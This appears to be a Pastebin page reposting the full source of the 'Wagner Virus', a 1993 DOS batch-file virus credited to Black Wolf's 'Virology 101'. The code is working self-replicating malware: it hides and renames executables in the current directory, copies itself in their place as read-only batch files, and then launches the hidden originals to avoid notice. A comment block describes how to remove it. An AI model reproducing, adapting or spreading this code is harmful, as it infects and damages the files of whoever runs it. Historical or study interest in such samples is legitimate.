Advertisement
FlyFar

Wagner Virus - Virology 101 (c) 1993 Black Wolf - Source Code

Mar 12th, 2023
841
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.83 KB | Cybersecurity | 0 0
  1. @echo off
  2.     ctty nul
  3.    rem  ______________________________________________________________
  4.    rem :Wagner Virus, as presented in Virology 101 (c) 1993 Black Wolf
  5.    rem :This virus can be cured simply by typing "attrib -h -r *.*" in
  6.    rem :infected directories and deleting BAT files that are identical
  7.    rem :to this code, then rename the files having a "V" at the start
  8.    rem :to their original names.   NOTE: Does not infect COMMAND.COM.
  9.    rem :______________________________________________________________
  10.     for %%f in (*.exe *.com) do set A=%%f
  11.     if %A%==COMMAND.COM set A=
  12.     rename %A% V%A%
  13.     if not exist V%A% goto end
  14.     attrib +h V%A%
  15.     copy %0.bat %A%
  16.     attrib +r %A%
  17.     ren %A% *.bat
  18.     set A=
  19.     :end
  20.     ctty con
  21.     @if exist V%0.com V%0.com %1 %2 %3
  22.     @if exist V%0.exe V%0.exe %1 %2 %3
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement